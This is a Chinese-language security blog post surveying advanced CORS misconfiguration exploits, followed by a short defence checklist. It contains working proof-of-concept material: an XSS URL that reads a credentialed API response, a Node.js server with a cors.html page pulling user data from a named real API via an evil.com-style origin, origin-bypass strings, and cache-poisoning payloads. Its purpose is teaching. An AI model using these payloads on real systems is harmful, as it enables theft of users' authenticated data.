首页 » NetworkSec » Penetration » 正文

CORS进阶利用

//结合网络资料整理了CORS的进阶利用方式,基础利用参考浅谈sop、cors和csp

 

SOP可以发请求,但是浏览器会阻止响应

当”Access-Control-Allow-Origin“是动态产生,要用”Vary: Origin“指定。
这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值而变化。

 

1. ACAO为*

Access-Control-Allow-Origin:*

注意Access-Control-Allow-Credentials:true和Access-Control-Allow-Origin:*不能同时使用!!!

这样配置浏览器将会报错

直接利用即可

 

2. ACAO为requester.com

后端代码例子:

if ($_SERVER[‘HTTP_HOST’] == ‘*requester.com’) { //Access data else{ // unauthorized access} }

申请一个以requester.com结尾的域名放poc即可

or

^https?:\/\/.*\.?target\.local$

Origin: https://nottarget.local

or

Origin: https://target.local.attacker.domain

 

3. 白名单域名

if ($_SERVER[‘HTTP_HOST’] == ‘*.requester.com’) { //Access data else{ // unauthorized access} }

利用sub.requester.com的xss(或者子域名接管漏洞)漏洞攻击provider.com

案例:

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

 

4. 反射origin

add_header “Access-Control-Allow-Origin” $http_origin;

add_header “Access-Control-Allow-Credentials” “true”;

 

5. 信任null

Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true

<iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=’data:text/html,<script>**CORS request here**</script>’></iframe>

 

5. 特殊字符

浏览器在发出请求之前并不总是验证域名。

因此,如果使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。

 

特殊字符 Chrome(v 67.0.3396) Edge(v 41.16299.371) Firefox(v 61.0.1) Internet Explorer(v 11) Safari(v 11.1.1)
! NO NO NO NO YES
= NO NO NO NO YES
$ NO NO YES NO YES
& NO NO NO NO YES
NO NO NO NO YES
( NO NO NO NO YES
) NO NO NO NO YES
* NO NO NO NO YES
+ NO NO YES NO YES
, NO NO NO NO YES
YES NO YES YES YES
; NO NO NO NO YES
= NO NO NO NO YES
^ NO NO NO NO YES
_ YES YES YES YES YES
` NO NO NO NO YES
{ NO NO NO NO YES
\ NO NO NO NO YES
} NO NO NO NO YES
~ NO NO NO NO YES

 

案例:

目标:https://protect.ubnt.com/

敏感API:https://client.amplifi.com/api/user/

API的CORS配置为所有子域列入白名单,甚至是不存在的子域,存在安全隐患。

ubnt没有XSS和子域名接管漏洞。

但是允许:Origin *.ubnt.com!.evil.com

*.ubnt.com!.evil.com

*.ubnt.com”.evil.com

*.ubnt.com$.evil.com

*.ubnt.com%0b.evil.com

*.ubnt.com%60.evil.com

*.ubnt.com&.evil.com

*.ubnt.com’.evil.com

*.ubnt.com(.evil.com

*.ubnt.com).evil.com

*.ubnt.com*.evil.com

*.ubnt.com,.evil.com

*.ubnt.com;.evil.com

*.ubnt.com=.evil.com

*.ubnt.com^.evil.com

*.ubnt.com`.evil.com

*.ubnt.com{.evil.com

*.ubnt.com|.evil.com

*.ubnt.com}.evil.com

*.ubnt.com~.evil.com

 

设置泛解析到evil.com

nodejs作服务器

#serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80

http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

 

cors.html:

<!DOCTYPE html><html><head><title>CORS</title></head><body onload="cors();"><center>

cors proof-of-concept:<br><br><textarea rows="10" cols="60" id="pwnz"></textarea><br></div>

<script>function cors() {

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

document.getElementById("pwnz").innerHTML = this.responseText;

}

};

xhttp.open("GET", "https://client.amplifi.com/api/user/", true);

xhttp.withCredentials = true;

xhttp.send();

}</script>
node serve.js &

在Safari浏览器中打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc

即可完成攻击。

 

6. 第三方信任域名

如Amazon S3存储桶。

 

7. 客户端缓存投毒

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open(‘get’,’http://www.target.local/login’,true);

req.setRequestHeader(‘X-User’, ‘<svg/onload=alert(1)>’);

req.send();

function reqListener() {

location=’http://www.target.local/login’;

}

 

如上例所示,如果未在响应中设置“ Vary:Origin”标头,则受害者的浏览器可以将响应存储在缓存中(基于浏览器的行为),然后直接显示它

当浏览器导航到关联的URL时(这可以通过重定向完成,例如用reqListener方法)。

没有CORS,就无法利用,因为无法使受害者的浏览器跨域发送自定义头部,但启用了CORS后,可以使用“ XMLHttpRequest”来做到这一点。

 

8. 服务端缓存投毒

GET / HTTP/1.1\

Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`

 

Internet Explorer将响应:

 

`HTTP/1.1 200 OK\

Access-Control-Allow-Origin: z\

Content-Type: text/html; charset=UTF-7

 

这不能直接利用,因为攻击者无法使受害者的浏览器发送格式错误的标头,但是可以在Burp Suite中手动提交请求,并且服务器端缓存可以保存响应并将其提供给其他人 。 使用的payload会将页面的字符集更改为UTF-7,这对于XSS漏洞非常有用。

 

防御:

不要盲目反射 Origin头

严格校验 Origin 头

不要配置 Access-Control-Allow-Origin: null

HTTPS 网站不要信任HTTP 域

不要信任全部子域

不要配置 Origin:*和 Credentials: true

增加 Vary: Origin 头

通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间

通过“Access-Control-Allow-Methods”头部,配置允许跨域请求的方法

 

 

参考资料

https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://www.corben.io/advanced-cors-techniques/

https://www.bedefended.com/papers/cors-security-guide

https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors

https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties?tdsourcetag=s_pcqq_aiomsg

 

Comment

please input captcha *